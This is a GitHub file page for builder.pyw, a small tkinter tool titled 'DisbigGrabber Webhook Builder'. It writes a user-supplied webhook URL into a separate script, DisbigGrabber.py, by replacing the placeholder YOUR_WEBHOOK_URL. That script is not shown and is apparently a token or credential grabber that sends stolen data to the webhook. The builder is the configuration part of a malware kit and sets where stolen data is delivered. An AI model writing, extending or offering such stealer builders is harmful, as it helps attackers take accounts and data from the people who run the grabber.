-
Notifications
You must be signed in to change notification settings - Fork 0
/
builder.pyw
46 lines (39 loc) · 1.74 KB
/
builder.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import tkinter as tk
from tkinter import ttk
from tkinter import messagebox
from ttkbootstrap import Style
def save_webhook_url():
"""Save the entered webhook URL to DisbigGrabber.py."""
new_url = url_entry.get()
if new_url:
try:
# Open DisbigGrabber.py and replace YOUR_WEBHOOK_URL with the new URL
with open("DisbigGrabber.py", "r") as file:
lines = file.readlines()
with open("DisbigGrabber.py", "w") as file:
for line in lines:
file.write(line.replace('YOUR_WEBHOOK_URL', new_url))
messagebox.showinfo("Success", "Webhook URL updated successfully.")
except Exception as e:
messagebox.showerror("Error", f"Failed to update webhook URL: {e}")
else:
messagebox.showerror("Error", "Please enter a valid webhook URL.")
# Create the main window
window = tk.Tk()
window.title("DisbigGrabber Webhook Builder")
window.geometry("365x145")
# Load ttkbootstrap style
style = Style(theme='flatly')
# Create a frame for shadow effect
shadow_frame = tk.Frame(window, bg='gray', bd=0, relief=tk.RAISED)
shadow_frame.place(x=5, y=5, width=490, height=140)
# Create and pack the label and entry widgets for entering the webhook URL
url_label = ttk.Label(shadow_frame, text="Enter Webhook URL:", style='primary.TLabel')
url_label.place(x=10, y=10)
url_entry = ttk.Entry(shadow_frame, width=50, style='success.TEntry')
url_entry.place(x=10, y=40)
# Create and pack the button widget for saving the webhook URL
save_button = ttk.Button(shadow_frame, text="Save URL", command=save_webhook_url, style='info.TButton')
save_button.place(x=10, y=80)
# Run the main event loop
window.mainloop()